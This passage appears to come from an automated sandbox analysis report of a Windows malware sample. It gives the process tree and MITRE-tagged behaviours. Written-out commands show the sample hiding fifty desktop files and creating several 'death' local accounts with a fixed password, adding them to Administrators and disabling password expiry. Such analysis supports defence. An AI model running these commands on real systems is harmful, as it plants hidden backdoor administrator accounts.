PID 3384 wrote to memory of 540	3384	74bcc31d634c85d4fd2eae344c9e67ccb53937e8ac25dbdea7d1b5da3b232bd9.exe	173
PID 540 wrote to memory of 3996	540	cmd.exe	175
PID 3384 wrote to memory of 2760	3384	74bcc31d634c85d4fd2eae344c9e67ccb53937e8ac25dbdea7d1b5da3b232bd9.exe	176
PID 2760 wrote to memory of 4436	2760	cmd.exe	178
PID 3384 wrote to memory of 3540	3384	74bcc31d634c85d4fd2eae344c9e67ccb53937e8ac25dbdea7d1b5da3b232bd9.exe	179
PID 3540 wrote to memory of 1828	3540	cmd.exe	181
PID 3384 wrote to memory of 1692	3384	74bcc31d634c85d4fd2eae344c9e67ccb53937e8ac25dbdea7d1b5da3b232bd9.exe	182

Views/modifies file attributes 1 TTPs 50 IoCs

defense_evasion

Hidden Files and Directories

T1564.001

pid	Process
3968	attrib.exe
596	attrib.exe
1344	attrib.exe
4272	attrib.exe
2756	attrib.exe
2280	attrib.exe
3792	attrib.exe
464	attrib.exe
4740	attrib.exe
1516	attrib.exe
3996	attrib.exe
3120	attrib.exe
4044	attrib.exe
5040	attrib.exe
3764	attrib.exe
3324	attrib.exe
1824	attrib.exe
1764	attrib.exe
3960	attrib.exe
2668	attrib.exe
1828	attrib.exe
2556	attrib.exe
2400	attrib.exe
1084	attrib.exe
4328	attrib.exe
1988	attrib.exe
2284	attrib.exe
4800	attrib.exe
3972	attrib.exe
4320	attrib.exe
2452	attrib.exe
1072	attrib.exe
4912	attrib.exe
2040	attrib.exe
4900	attrib.exe
4832	attrib.exe
1080	attrib.exe
3472	attrib.exe
4996	attrib.exe
1600	attrib.exe
3996	attrib.exe
4000	attrib.exe
4312	attrib.exe
1356	attrib.exe
832	attrib.exe
1784	attrib.exe
3124	attrib.exe
3600	attrib.exe
4436	attrib.exe
4148	attrib.exe

C:\Users\Admin\AppData\Local\Temp\74bcc31d634c85d4fd2eae344c9e67ccb53937e8ac25dbdea7d1b5da3b232bd9.exe
"C:\Users\Admin\AppData\Local\Temp\74bcc31d634c85d4fd2eae344c9e67ccb53937e8ac25dbdea7d1b5da3b232bd9.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:4688
- C:\Users\Admin\AppData\Local\Temp\74bcc31d634c85d4fd2eae344c9e67ccb53937e8ac25dbdea7d1b5da3b232bd9.exe
  C:\Users\Admin\AppData\Local\Temp\74bcc31d634c85d4fd2eae344c9e67ccb53937e8ac25dbdea7d1b5da3b232bd9.exe
  2⤵
  - Drops startup file
  - Loads dropped DLL
  - Sets desktop wallpaper using registry
  - Suspicious use of SetWindowsHookEx
  - Suspicious use of WriteProcessMemory
  PID:3384
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "attrib +h +s C:\Users\Admin\Desktop\death1.txt"
    3⤵
    - Hide Artifacts: Hidden Files and Directories
    - Suspicious use of WriteProcessMemory
    PID:700
  - - C:\Windows\system32\attrib.exe
      attrib +h +s C:\Users\Admin\Desktop\death1.txt
      4⤵
      Views/modifies file attributes
      PID:1080
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "attrib +h +s C:\Users\Admin\Desktop\death2.txt"
    3⤵
    - Hide Artifacts: Hidden Files and Directories
    - Suspicious use of WriteProcessMemory
    PID:4548
  - - C:\Windows\system32\attrib.exe
      attrib +h +s C:\Users\Admin\Desktop\death2.txt
      4⤵
      Views/modifies file attributes
      PID:3324
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "attrib +h +s C:\Users\Admin\Desktop\death3.txt"
    3⤵
    - Hide Artifacts: Hidden Files and Directories
    - Suspicious use of WriteProcessMemory
    PID:592
  - - C:\Windows\system32\attrib.exe
      attrib +h +s C:\Users\Admin\Desktop\death3.txt
      4⤵
      Views/modifies file attributes
      PID:1824
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "attrib +h +s C:\Users\Admin\Desktop\death4.txt"
    3⤵
    - Hide Artifacts: Hidden Files and Directories
    - Suspicious use of WriteProcessMemory
    PID:1408
  - - C:\Windows\system32\attrib.exe
      attrib +h +s C:\Users\Admin\Desktop\death4.txt
      4⤵
      Views/modifies file attributes
      PID:3792
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "attrib +h +s C:\Users\Admin\Desktop\death5.txt"
    3⤵
    - Hide Artifacts: Hidden Files and Directories
    - Suspicious use of WriteProcessMemory
    PID:4984
  - - C:\Windows\system32\attrib.exe
      attrib +h +s C:\Users\Admin\Desktop\death5.txt
      4⤵
      Views/modifies file attributes
      PID:832
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "attrib +h +s C:\Users\Admin\Desktop\death6.txt"
    3⤵
    - Hide Artifacts: Hidden Files and Directories
    - Suspicious use of WriteProcessMemory
    PID:3636
  - - C:\Windows\system32\attrib.exe
      attrib +h +s C:\Users\Admin\Desktop\death6.txt
      4⤵
      Views/modifies file attributes
      PID:464
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "attrib +h +s C:\Users\Admin\Desktop\death7.txt"
    3⤵
    - Hide Artifacts: Hidden Files and Directories
    - Suspicious use of WriteProcessMemory
    PID:4484
  - - C:\Windows\system32\attrib.exe
      attrib +h +s C:\Users\Admin\Desktop\death7.txt
      4⤵
      Views/modifies file attributes
      PID:3996
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "attrib +h +s C:\Users\Admin\Desktop\death8.txt"
    3⤵
    - Hide Artifacts: Hidden Files and Directories
    - Suspicious use of WriteProcessMemory
    PID:3212
  - - C:\Windows\system32\attrib.exe
      attrib +h +s C:\Users\Admin\Desktop\death8.txt
      4⤵
      Views/modifies file attributes
      PID:1084
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "attrib +h +s C:\Users\Admin\Desktop\death9.txt"
    3⤵
    - Hide Artifacts: Hidden Files and Directories
    - Suspicious use of WriteProcessMemory
    PID:3964
  - - C:\Windows\system32\attrib.exe
      attrib +h +s C:\Users\Admin\Desktop\death9.txt
      4⤵
      Views/modifies file attributes
      PID:1784
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "attrib +h +s C:\Users\Admin\Desktop\death10.txt"
    3⤵
    - Hide Artifacts: Hidden Files and Directories
    - Suspicious use of WriteProcessMemory
    PID:2352
  - - C:\Windows\system32\attrib.exe
      attrib +h +s C:\Users\Admin\Desktop\death10.txt
      4⤵
      Views/modifies file attributes
      PID:1764
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "attrib +h +s C:\Users\Admin\Desktop\death11.txt"
    3⤵
    - Hide Artifacts: Hidden Files and Directories
    - Suspicious use of WriteProcessMemory
    PID:4952
  - - C:\Windows\system32\attrib.exe
      attrib +h +s C:\Users\Admin\Desktop\death11.txt
      4⤵
      Views/modifies file attributes
      PID:3124
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "attrib +h +s C:\Users\Admin\Desktop\death12.txt"
    3⤵
    - Hide Artifacts: Hidden Files and Directories
    - Suspicious use of WriteProcessMemory
    PID:3268
  - - C:\Windows\system32\attrib.exe
      attrib +h +s C:\Users\Admin\Desktop\death12.txt
      4⤵
      Views/modifies file attributes
      PID:3120
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "attrib +h +s C:\Users\Admin\Desktop\death13.txt"
    3⤵
    - Hide Artifacts: Hidden Files and Directories
    - Suspicious use of WriteProcessMemory
    PID:3388
  - - C:\Windows\system32\attrib.exe
      attrib +h +s C:\Users\Admin\Desktop\death13.txt
      4⤵
      Views/modifies file attributes
      PID:4044
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "attrib +h +s C:\Users\Admin\Desktop\death14.txt"
    3⤵
    - Hide Artifacts: Hidden Files and Directories
    - Suspicious use of WriteProcessMemory
    PID:3896
  - - C:\Windows\system32\attrib.exe
      attrib +h +s C:\Users\Admin\Desktop\death14.txt
      4⤵
      Views/modifies file attributes
      PID:3472
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "attrib +h +s C:\Users\Admin\Desktop\death15.txt"
    3⤵
    - Hide Artifacts: Hidden Files and Directories
    - Suspicious use of WriteProcessMemory
    PID:2592
  - - C:\Windows\system32\attrib.exe
      attrib +h +s C:\Users\Admin\Desktop\death15.txt
      4⤵
      Views/modifies file attributes
      PID:3600
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "attrib +h +s C:\Users\Admin\Desktop\death16.txt"
    3⤵
    - Hide Artifacts: Hidden Files and Directories
    - Suspicious use of WriteProcessMemory
    PID:3736
  - - C:\Windows\system32\attrib.exe
      attrib +h +s C:\Users\Admin\Desktop\death16.txt
      4⤵
      Views/modifies file attributes
      PID:3960
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "attrib +h +s C:\Users\Admin\Desktop\death17.txt"
    3⤵
    - Hide Artifacts: Hidden Files and Directories
    - Suspicious use of WriteProcessMemory
    PID:1032
  - - C:\Windows\system32\attrib.exe
      attrib +h +s C:\Users\Admin\Desktop\death17.txt
      4⤵
      Views/modifies file attributes
      PID:4740
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "attrib +h +s C:\Users\Admin\Desktop\death18.txt"
    3⤵
    - Hide Artifacts: Hidden Files and Directories
    - Suspicious use of WriteProcessMemory
    PID:2244
  - - C:\Windows\system32\attrib.exe
      attrib +h +s C:\Users\Admin\Desktop\death18.txt
      4⤵
      Views/modifies file attributes
      PID:1072
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "attrib +h +s C:\Users\Admin\Desktop\death19.txt"
    3⤵
    - Hide Artifacts: Hidden Files and Directories
    - Suspicious use of WriteProcessMemory
    PID:4524
  - - C:\Windows\system32\attrib.exe
      attrib +h +s C:\Users\Admin\Desktop\death19.txt
      4⤵
      Views/modifies file attributes
      PID:5040
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "attrib +h +s C:\Users\Admin\Desktop\death20.txt"
    3⤵
    - Hide Artifacts: Hidden Files and Directories
    - Suspicious use of WriteProcessMemory
    PID:4128
  - - C:\Windows\system32\attrib.exe
      attrib +h +s C:\Users\Admin\Desktop\death20.txt
      4⤵
      Views/modifies file attributes
      PID:4328
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "attrib +h +s C:\Users\Admin\Desktop\death21.txt"
    3⤵
    - Hide Artifacts: Hidden Files and Directories
    - Suspicious use of WriteProcessMemory
    PID:3392
  - - C:\Windows\system32\attrib.exe
      attrib +h +s C:\Users\Admin\Desktop\death21.txt
      4⤵
      Views/modifies file attributes
      PID:1988
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "attrib +h +s C:\Users\Admin\Desktop\death22.txt"
    3⤵
    - Hide Artifacts: Hidden Files and Directories
    - Suspicious use of WriteProcessMemory
    PID:3428
  - - C:\Windows\system32\attrib.exe
      attrib +h +s C:\Users\Admin\Desktop\death22.txt
      4⤵
      Views/modifies file attributes
      PID:4912
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "attrib +h +s C:\Users\Admin\Desktop\death23.txt"
    3⤵
    - Hide Artifacts: Hidden Files and Directories
    - Suspicious use of WriteProcessMemory
    PID:4720
  - - C:\Windows\system32\attrib.exe
      attrib +h +s C:\Users\Admin\Desktop\death23.txt
      4⤵
      Views/modifies file attributes
      PID:2040
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "attrib +h +s C:\Users\Admin\Desktop\death24.txt"
    3⤵
    - Hide Artifacts: Hidden Files and Directories
    - Suspicious use of WriteProcessMemory
    PID:4560
  - - C:\Windows\system32\attrib.exe
      attrib +h +s C:\Users\Admin\Desktop\death24.txt
      4⤵
      Views/modifies file attributes
      PID:4900
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "attrib +h +s C:\Users\Admin\Desktop\death25.txt"
    3⤵
    - Hide Artifacts: Hidden Files and Directories
    - Suspicious use of WriteProcessMemory
    PID:3988
  - - C:\Windows\system32\attrib.exe
      attrib +h +s C:\Users\Admin\Desktop\death25.txt
      4⤵
      Views/modifies file attributes
      PID:4996
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "attrib +h +s C:\Users\Admin\Desktop\death26.txt"
    3⤵
    - Hide Artifacts: Hidden Files and Directories
    - Suspicious use of WriteProcessMemory
    PID:3176
  - - C:\Windows\system32\attrib.exe
      attrib +h +s C:\Users\Admin\Desktop\death26.txt
      4⤵
      Views/modifies file attributes
      PID:1600
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "attrib +h +s C:\Users\Admin\Desktop\death27.txt"
    3⤵
    - Hide Artifacts: Hidden Files and Directories
    - Suspicious use of WriteProcessMemory
    PID:3172
  - - C:\Windows\system32\attrib.exe
      attrib +h +s C:\Users\Admin\Desktop\death27.txt
      4⤵
      Views/modifies file attributes
      PID:2668
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "attrib +h +s C:\Users\Admin\Desktop\death28.txt"
    3⤵
    - Hide Artifacts: Hidden Files and Directories
    - Suspicious use of WriteProcessMemory
    PID:2300
  - - C:\Windows\system32\attrib.exe
      attrib +h +s C:\Users\Admin\Desktop\death28.txt
      4⤵
      Views/modifies file attributes
      PID:1516
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "attrib +h +s C:\Users\Admin\Desktop\death29.txt"
    3⤵
    - Hide Artifacts: Hidden Files and Directories
    - Suspicious use of WriteProcessMemory
    PID:540
  - - C:\Windows\system32\attrib.exe
      attrib +h +s C:\Users\Admin\Desktop\death29.txt
      4⤵
      Views/modifies file attributes
      PID:3996
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "attrib +h +s C:\Users\Admin\Desktop\death30.txt"
    3⤵
    - Hide Artifacts: Hidden Files and Directories
    - Suspicious use of WriteProcessMemory
    PID:2760
  - - C:\Windows\system32\attrib.exe
      attrib +h +s C:\Users\Admin\Desktop\death30.txt
      4⤵
      Views/modifies file attributes
      PID:4436
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "attrib +h +s C:\Users\Admin\Desktop\death31.txt"
    3⤵
    - Hide Artifacts: Hidden Files and Directories
    - Suspicious use of WriteProcessMemory
    PID:3540
  - - C:\Windows\system32\attrib.exe
      attrib +h +s C:\Users\Admin\Desktop\death31.txt
      4⤵
      Views/modifies file attributes
      PID:1828
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "attrib +h +s C:\Users\Admin\Desktop\death32.txt"
    3⤵
    - Hide Artifacts: Hidden Files and Directories
    PID:1692
  - - C:\Windows\system32\attrib.exe
      attrib +h +s C:\Users\Admin\Desktop\death32.txt
      4⤵
      Views/modifies file attributes
      PID:2556
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "attrib +h +s C:\Users\Admin\Desktop\death33.txt"
    3⤵
    - Hide Artifacts: Hidden Files and Directories
    PID:2308
  - - C:\Windows\system32\attrib.exe
      attrib +h +s C:\Users\Admin\Desktop\death33.txt
      4⤵
      Views/modifies file attributes
      PID:3764
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "attrib +h +s C:\Users\Admin\Desktop\death34.txt"
    3⤵
    - Hide Artifacts: Hidden Files and Directories
    PID:2304
  - - C:\Windows\system32\attrib.exe
      attrib +h +s C:\Users\Admin\Desktop\death34.txt
      4⤵
      Views/modifies file attributes
      PID:4000
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "attrib +h +s C:\Users\Admin\Desktop\death35.txt"
    3⤵
    - Hide Artifacts: Hidden Files and Directories
    PID:1580
  - - C:\Windows\system32\attrib.exe
      attrib +h +s C:\Users\Admin\Desktop\death35.txt
      4⤵
      Views/modifies file attributes
      PID:2284
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "attrib +h +s C:\Users\Admin\Desktop\death36.txt"
    3⤵
    - Hide Artifacts: Hidden Files and Directories
    PID:4616
  - - C:\Windows\system32\attrib.exe
      attrib +h +s C:\Users\Admin\Desktop\death36.txt
      4⤵
      Views/modifies file attributes
      PID:2400
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "attrib +h +s C:\Users\Admin\Desktop\death37.txt"
    3⤵
    - Hide Artifacts: Hidden Files and Directories
    PID:3192
  - - C:\Windows\system32\attrib.exe
      attrib +h +s C:\Users\Admin\Desktop\death37.txt
      4⤵
      Views/modifies file attributes
      PID:4312
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "attrib +h +s C:\Users\Admin\Desktop\death38.txt"
    3⤵
    - Hide Artifacts: Hidden Files and Directories
    PID:2188
  - - C:\Windows\system32\attrib.exe
      attrib +h +s C:\Users\Admin\Desktop\death38.txt
      4⤵
      Views/modifies file attributes
      PID:4148
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "attrib +h +s C:\Users\Admin\Desktop\death39.txt"
    3⤵
    - Hide Artifacts: Hidden Files and Directories
    PID:3276
  - - C:\Windows\system32\attrib.exe
      attrib +h +s C:\Users\Admin\Desktop\death39.txt
      4⤵
      Views/modifies file attributes
      PID:1344
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "attrib +h +s C:\Users\Admin\Desktop\death40.txt"
    3⤵
    - Hide Artifacts: Hidden Files and Directories
    PID:3188
  - - C:\Windows\system32\attrib.exe
      attrib +h +s C:\Users\Admin\Desktop\death40.txt
      4⤵
      Views/modifies file attributes
      PID:4832
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "attrib +h +s C:\Users\Admin\Desktop\death41.txt"
    3⤵
    - Hide Artifacts: Hidden Files and Directories
    PID:4020
  - - C:\Windows\system32\attrib.exe
      attrib +h +s C:\Users\Admin\Desktop\death41.txt
      4⤵
      Views/modifies file attributes
      PID:4800
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "attrib +h +s C:\Users\Admin\Desktop\death42.txt"
    3⤵
    - Hide Artifacts: Hidden Files and Directories
    PID:4324
  - - C:\Windows\system32\attrib.exe
      attrib +h +s C:\Users\Admin\Desktop\death42.txt
      4⤵
      Views/modifies file attributes
      PID:4272
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "attrib +h +s C:\Users\Admin\Desktop\death43.txt"
    3⤵
    - Hide Artifacts: Hidden Files and Directories
    PID:1988
  - - C:\Windows\system32\attrib.exe
      attrib +h +s C:\Users\Admin\Desktop\death43.txt
      4⤵
      Views/modifies file attributes
      PID:3972
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "attrib +h +s C:\Users\Admin\Desktop\death44.txt"
    3⤵
    - Hide Artifacts: Hidden Files and Directories
    PID:1508
  - - C:\Windows\system32\attrib.exe
      attrib +h +s C:\Users\Admin\Desktop\death44.txt
      4⤵
      Views/modifies file attributes
      PID:4320
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "attrib +h +s C:\Users\Admin\Desktop\death45.txt"
    3⤵
    - Hide Artifacts: Hidden Files and Directories
    PID:3584
  - - C:\Windows\system32\attrib.exe
      attrib +h +s C:\Users\Admin\Desktop\death45.txt
      4⤵
      Views/modifies file attributes
      PID:2452
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "attrib +h +s C:\Users\Admin\Desktop\death46.txt"
    3⤵
    - Hide Artifacts: Hidden Files and Directories
    PID:4900
  - - C:\Windows\system32\attrib.exe
      attrib +h +s C:\Users\Admin\Desktop\death46.txt
      4⤵
      Views/modifies file attributes
      PID:2756
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "attrib +h +s C:\Users\Admin\Desktop\death47.txt"
    3⤵
    - Hide Artifacts: Hidden Files and Directories
    PID:1512
  - - C:\Windows\system32\attrib.exe
      attrib +h +s C:\Users\Admin\Desktop\death47.txt
      4⤵
      Views/modifies file attributes
      PID:3968
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "attrib +h +s C:\Users\Admin\Desktop\death48.txt"
    3⤵
    - Hide Artifacts: Hidden Files and Directories
    PID:1600
  - - C:\Windows\system32\attrib.exe
      attrib +h +s C:\Users\Admin\Desktop\death48.txt
      4⤵
      Views/modifies file attributes
      PID:596
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "attrib +h +s C:\Users\Admin\Desktop\death49.txt"
    3⤵
    - Hide Artifacts: Hidden Files and Directories
    PID:960
  - - C:\Windows\system32\attrib.exe
      attrib +h +s C:\Users\Admin\Desktop\death49.txt
      4⤵
      Views/modifies file attributes
      PID:1356
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "attrib +h +s C:\Users\Admin\Desktop\death50.txt"
    3⤵
    - Hide Artifacts: Hidden Files and Directories
    PID:208
  - - C:\Windows\system32\attrib.exe
      attrib +h +s C:\Users\Admin\Desktop\death50.txt
      4⤵
      Views/modifies file attributes
      PID:2280
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "net user death1 P@ssw0rd!123 /add /active:yes"
    3⤵
    PID:4884
  - - C:\Windows\system32\net.exe
      net user death1 P@ssw0rd!123 /add /active:yes
      4⤵
      Creates a new local user account
      PID:3092
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 user death1 P@ssw0rd!123 /add /active:yes
        5⤵
        Creates a new local user account
        
        PID:2836
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "net localgroup Administrators death1 /add"
    3⤵
    PID:4500
  - - C:\Windows\system32\net.exe
      net localgroup Administrators death1 /add
      4⤵
      PID:1880
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 localgroup Administrators death1 /add
        5⤵
        
        PID:1936
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "wmic useraccount where name=\"death1\" set PasswordExpires=False"
    3⤵
    PID:1784
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic useraccount where name=\"death1\" set PasswordExpires=False
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:2556
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "net user death2 P@ssw0rd!123 /add /active:yes"
    3⤵
    PID:312
  - - C:\Windows\system32\net.exe
      net user death2 P@ssw0rd!123 /add /active:yes
      4⤵
      Creates a new local user account
      PID:4056
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 user death2 P@ssw0rd!123 /add /active:yes
        5⤵
        Creates a new local user account
        
        PID:4516
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "net localgroup Administrators death2 /add"
    3⤵
    PID:3940
  - - C:\Windows\system32\net.exe
      net localgroup Administrators death2 /add
      4⤵
      PID:4044
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 localgroup Administrators death2 /add
        5⤵
        
        PID:2412
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "wmic useraccount where name=\"death2\" set PasswordExpires=False"
    3⤵
    PID:2516
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic useraccount where name=\"death2\" set PasswordExpires=False
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:1568
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "net user death3 P@ssw0rd!123 /add /active:yes"
    3⤵
    PID:1028
  - - C:\Windows\system32\net.exe
      net user death3 P@ssw0rd!123 /add /active:yes
      4⤵
      Creates a new local user account
      PID:5100
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 user death3 P@ssw0rd!123 /add /active:yes
        5⤵
        Creates a new local user account
        
        PID:1884
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "net localgroup Administrators death3 /add"
    3⤵
    PID:4460
  - - C:\Windows\system32\net.exe
      net localgroup Administrators death3 /add
      4⤵
      PID:3044
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 localgroup Administrators death3 /add
        5⤵
        
        PID:4776
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "wmic useraccount where name=\"death3\" set PasswordExpires=False"
    3⤵
    PID:4568
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic useraccount where name=\"death3\" set PasswordExpires=False
      4⤵
      PID:3732
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "net user death4 P@ssw0rd!123 /add /active:yes"
    3⤵
    PID:896
  - - C:\Windows\system32\net.exe
      net user death4 P@ssw0rd!123 /add /active:yes
      4⤵
      Creates a new local user account
      PID:4296
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 user death4 P@ssw0rd!123 /add /active:yes
        5⤵
        Creates a new local user account
        
        PID:3548
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "net localgroup Administrators death4 /add"
    3⤵
    PID:5024
  - - C:\Windows\system32\net.exe
      net localgroup Administrators death4 /add
      4⤵
      PID:3096
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 localgroup Administrators death4 /add
        5⤵
        
        PID:4432
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "wmic useraccount where name=\"death4\" set PasswordExpires=False"
    3⤵
    PID:2372
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic useraccount where name=\"death4\" set PasswordExpires=False
      4⤵
      PID:4552
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "net user death5 P@ssw0rd!123 /add /active:yes"
    3⤵
    PID:3400
  - - C:\Windows\system32\net.exe
      net user death5 P@ssw0rd!123 /add /active:yes
      4⤵
      Creates a new local user account
      PID:4464
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 user death5 P@ssw0rd!123 /add /active:yes
        5⤵
        Creates a new local user account
        
        PID:1740
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "net localgroup Administrators death5 /add"
    3⤵
    PID:996
  - - C:\Windows\system32\net.exe
      net localgroup Administrators death5 /add
      4⤵
      PID:3288
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 localgroup Administrators death5 /add
        5⤵
        
        PID:2728
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "wmic useraccount where name=\"death5\" set PasswordExpires=False"
    3⤵
    PID:4060
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic useraccount where name=\"death5\" set PasswordExpires=False
      4⤵
      PID:2744
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "net user death6 P@ssw0rd!123 /add /active:yes"
    3⤵
    PID:448
  - - C:\Windows\system32\net.exe
      net user death6 P@ssw0rd!123 /add /active:yes
      4⤵
      Creates a new local user account
      PID:1516
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 user death6 P@ssw0rd!123 /add /active:yes
        5⤵
        Creates a new local user account
        
        PID:4152
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "net localgroup Administrators death6 /add"
    3⤵
    PID:4364
  - - C:\Windows\system32\net.exe
      net localgroup Administrators death6 /add
      4⤵
      PID:3996
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 localgroup Administrators death6 /add
        5⤵
        
        PID:3976
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "wmic useraccount where name=\"death6\" set PasswordExpires=False"
    3⤵
    PID:4944
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic useraccount where name=\"death6\" set PasswordExpires=False
      4⤵
      PID:2552
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "net user death7 P@ssw0rd!123 /add /active:yes"
    3⤵
    PID:4012
  - - C:\Windows\system32\net.exe
      net user death7 P@ssw0rd!123 /add /active:yes
      4⤵
      Creates a new local user account
      PID:3952
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 user death7 P@ssw0rd!123 /add /active:yes
        5⤵
        Creates a new local user account
        
        PID:2080
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "net localgroup Administrators death7 /add"
    3⤵
    PID:1680
  - - C:\Windows\system32\net.exe
      net localgroup Administrators death7 /add
      4⤵
      PID:3120
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 localgroup Administrators death7 /add
        5⤵
        
        PID:2160
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "wmic useraccount where name=\"death7\" set PasswordExpires=False"
    3⤵
    PID:2748
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic useraccount where name=\"death7\" set PasswordExpires=False
      4⤵
      PID:2412
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "net user death8 P@ssw0rd!123 /add /active:yes"
    3⤵
    PID:1176
  - - C:\Windows\system32\net.exe
      net user death8 P@ssw0rd!123 /add /active:yes
      4⤵
      Creates a new local user account
      PID:2972
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 user death8 P@ssw0rd!123 /add /active:yes
        5⤵
        Creates a new local user account
        
        PID:1340
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "net localgroup Administrators death8 /add"
    3⤵
    PID:2020
  - - C:\Windows\system32\net.exe
      net localgroup Administrators death8 /add
